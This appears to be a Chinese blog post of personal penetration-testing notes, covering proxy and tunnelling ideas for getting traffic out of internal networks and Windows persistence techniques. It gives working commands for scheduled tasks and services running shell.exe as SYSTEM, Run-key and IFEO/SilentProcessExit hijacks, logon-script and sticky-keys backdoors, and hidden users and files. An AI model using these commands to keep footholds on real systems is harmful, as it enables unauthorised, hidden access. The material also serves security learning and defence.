内网渗透学习记录

kenton 发布于 2024-12-22 135 次阅读



代理通讯篇

网络不可达

1、正反向链接上线

2、Socks代理配置

使用CS、proxifier工具 Kali Linux的 proxychains、msfvenmon

有防火墙的通讯技术

隧道技术 icmp dns ssh隧道

一层防火墙时、可以利用防火墙策略,一般设置反向代理进行通讯

多层防火墙时,

方法一:关闭两两通讯中的一个防火墙同时配置代理

方法二:SMB-IN方法(默认放行)

方法仨:隧道技术(规则决定)

注:

不是有互联网才叫出网,是能否将数据带出去

1、C2常见上线采用的协议

2、常见的协议层出网判断

利用各种隧道技术,以网络防火墙允许的协议,绕过网络防火墙的封锁,实现访问被封锁的目标网络

隧道协议简而言之就是利用将其他协议封装成允许的协议,从而绕过防火墙的封锁

网络层:IPv6隧道、IMCP隧道

传输层:TCP隧道、UDP隧道、常规端口转发

应用层:SSH隧道、HTTP/S隧道、DNS隧道

出网协议与判断命令:

ICMP    ping ip or domain
HTTP curl ip or domain
SSH ssh ip or domain
DNS nslookup domain
TCP telnet ip port

十二月二十二日撰

权限维持

Windows权限维持

一、计划任务

windows下有schtasksat两种计划任务机制,其中at在比较高得版本中已经弃用。

at在win 7和win server 2008上都能用,在win server 2012之后就不能用了。

schtasks非管理员用户也可以查看计划任务,但是at命令需要管理员用户才可以查看计划任务。

设置命令为:

schtasks /create /sc minute /mo 1 /tn test /tr C:\WINDOWS\system32\calc.exe /ru system
#创建名为test的计划任务,每隔一分钟运行一次,任务执行时指定执行的程序为calc.exe

schtasks /create /tn "TEST_Onlogon" /sc onlogon /tr "cmd.exe /c calc.exe"
#当用户登录时,系统会执行 cmd.exe /c calc.exe,从而打开计算器。

schtasks /create /tn "TEST_OnStatup" /sc onstart /ru system /tr "cmd.exe /c calc.exe"
#当计算机启动时,系统会以 SYSTEM 账户运行 cmd.exe /c calc.exe,从而打开计算器。

schtasks /create /tn test /tr C:\WINDOWS\system32\calc.exe /sc onstart /ru system                
#开机运行无需登录,所以不管哪个用户登陆后都会成功上线

schtasks /create /tn test /tr C:\WINDOWS\system32\calc.exe /sc onlogon
#登录运行


schtasks /create —— 创建新的计划任务
/tn "TEST_Onlogon" —— 任务名称为 TEST_Onlogon
/sc onlogon —— 触发器 (Schedule Type) 为 onlogon,即用户登录时触发
/ru system —— 任务以 SYSTEM 账户运行(权限更高)
/tr "cmd.exe /c calc.exe" —— 运行的命令是:cmd.exe /c calc.exe,即打开计算器


# 创建一个在20:23执行的计划任务,计划任务名称为shell,执行路径为C:\Users\liukaifeng01\Desktop\reverse.exe
# 以system权限执行
schtasks /create /s 192.168.52.138 /tn shell /sc once /st 20:23 /tr C:\Users\liukaifeng01\Desktop\reverse.exe /ru system /f
# /create:创建计划任务
# /s:指定远程计算机的名称或 IP 地址
# /tn:指定任务名称
# /sc:指定计划任务类型
# /st:使用 24 小时时间格式 HH:mm 指定任务的开始时间,once类型必须参数
# /tr:指定任务运行的程序或命令
# /ru system:以system权限执行
# /f:指定创建任务,如果指定的任务已存在,则禁止显示警告

删除命令:

schtasks /delete /tn "TEST_OnLogon" /f
#删除名为test得计划任务

二、自启动

注册自启动服务

自启动服务一般是在电脑启动后在后台加载指定得服务程序,我们可以将exe文件注册为服务,也可以将dll文件注册为服务

因为是服务,所以适用于所有用户。

sc create test binpath= C:\Users\Administrato\Desktop\shell.exe start= auto obj= Localsystem
#创建名为test得服务(注意等号后边有空格),设置自启动,启动权限为system

net start test
#启动服务

sc query test
#查询服务

sc delete test
#删除服务

注:服务运行的exe如何不符合规范则会停止运行服务,所以要做好进程迁移

基于注册表自启动服务

通过在注册表中写入相应的键值可以实现程序的开机自启动,主要是 RunRunOnce ,其中RunOnce和Run区别在于RunOnce的键值只作用一次,执行完毕后会自动删除。

windows提供了专门的开机自启动注册表。在每次开机完成后,计算机会自动遍历自启动注册表下的键值,获取键值中的程序路径,并创建进程启动程序。所以,要想修改注册表实现开机自启动,就需要在这个注册表键值下写入我们想要启动的程序的所在路径。

注册表如下:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx

添加一个test自启动任务,执行shell命令

REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v test /t REG_SZ /d "C:\Users\Administrator\Desktop\shell.exe"
#或
REG ADD "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v test /t REG_SZ /d "C:\Users\Administrator\Desktop\shell.exe"

PS:哪个账户设置的注册表就需要用哪个账户登录,才会实现开机自启

基于策略的自启动注册表设置如下:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run

设置启动文件夹注册表位置如下:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders

设置服务启动项注册表位置如下:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices

用户自启动位置 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\UserinitHKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell ,其中 Userinit 键允许指定用逗号分隔的多个程序。

如果用户启动了屏幕保护程序,也可以通过屏幕保护程序来启动后面,相关注册表键值为:

HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaveActive
HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaverIsSecure
HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaveTimeOut
HKEY_CURRENT_USER\Control Panel\Desktop\SCRNSAVE.EXE`

基于特定目录的自启动

自启动目录,
C:\Users\Username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 目录对特定用户生效, C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp 对所有用户生效。
在NT6以前,两个目录为:
C:\Documents and Settings\Username\Start Menu\Programs\StartUp / C:\Documents and Settings\All Users\Start Menu\Programs\StartUp

三、映像劫持

”映像劫持“,也成为“IFEO”。可以通过修改注册表中的”Debugger“项值,替换执行的程序。

原理:

当用户双击对应的程序后,操作系统就会给外壳程序(例如“explorer.exe”)发布相应的指令,其中包含有执行程序的路径和文件名,然后由外壳程序来执行该程序。事实上在该过程中,Windows还会在注册表的上述路径中查询所有的映像劫持子键,如果存在和该程序名称完全相同的子键,就查询对应子健中包含的“dubugger”键值名,并用其指定的程序路径来代替原始的程序,之后执行的是遭到“劫持”的虚假程序

其注册表路径为:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options

实现操作:

在注册表路径下创建一个项,项名为要劫持的exe名称,可以为任意一个可以运行的exe程序,包括安装后和未安装的exe。并在该项创建一个Debugger的键值(名字只能为Debugger),键值填运行的恶意exe。随便找了个lcx.exe程序进行劫持

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lcx.exe" /v Debugger /t REG_SZ /d "C:\Users\Administrator\Desktop\shell.exe"

在高版本的Windows中,替换程序是受到系统保护的,需要使用其他的技巧来实现替换。

具体操作为在注册表的 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Option 下添加项 sethc.exe ,然后在 sethc.exe 这个项中添加 debugger 键,键值为恶意程序的路径。

上述方法会对使用的exe进行劫持,导致打不开对方想打开的程序,很容易被发现,所以可以尝试扩展一下劫持方法

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe"  /v GlobalFlag /t REG_DWORD /d 512
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\calc.exe"  /v ReportingMode /t REG_DWORD /d 1
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\calc.exe" /v MonitorProcess /t REG_SZ /d "C:\Users\Administrator\Desktop\shell.exe

当关闭calc.exe后,就会执行shell.exe,这样既不影响程序本身功能,又能成功执行恶意程序

上述方法在注册表中又添加了ReportingMode和MonitorProcess 这两个值:

  • MonitorProcess的值表示监视器进程
  • Reporting Mode可以设置为三个值 :

这里设置的值是1,所以当检测到calc.exe进程静默退出时,将会启动监视器进程,而监视进程又设置的是shell.exe,所以就会成功上线

四、后门

logon script后门

Windows登陆脚本,当用户登陆时出发,Logon Scripts能够优先于杀毒软件执行,绕过杀毒软件对敏感操作的拦截。

注册表路径:HKEY_CURRENT_USER\Environment

REG ADD "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\Administrator\Desktop\shell.exe"

当用户登陆时就会执行

sethc

sethc.exe 是 Windows系统在用户按下五次shift后调用的粘滞键处理程序,当有写文件但是没有执行权限时,可以通过替换 sethc.exe 的方式留下后门,在密码输入页面输入五次shift即可获得权限。

登录脚本

Windows可以在用户登陆前执行脚本,使用HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit 设置

也可以在HKCU\Environmen**路径下设置 UserInitMprLogonScripr** 来实现

屏幕保护进程

Windows可以自定义屏幕保护程序,使用 **HKEY_CURRENT_USER\Control Panel\Desktop** 设置。

隐藏用户

Windows可以使用在用户名后加入 $ 来创建隐藏用户,这种帐户可在一定条件下隐藏,但是仍可以通过控制面板查看。

在创建隐藏用户的基础上,可以修改注册表的方式创建影子用户,这种方式创建的用户只能通过注册表查看。

五、隐藏文件

创建系统隐藏文件

attrib +s +a +r +h filename/attrib +s +h filename

利用NTFS ADS 创建隐藏文件

利用Windows保留字

aux|prn|con|nul|com1|com2|com3|com4|com5|com6|com7|com8|com9|lpt1|lpt2|lpt3|lpt4|lpt5|lpt6|lpt7|lpt8|lpt9

二零二五年四月一日撰

此作者没有提供个人介绍
最后更新于 2025-04-01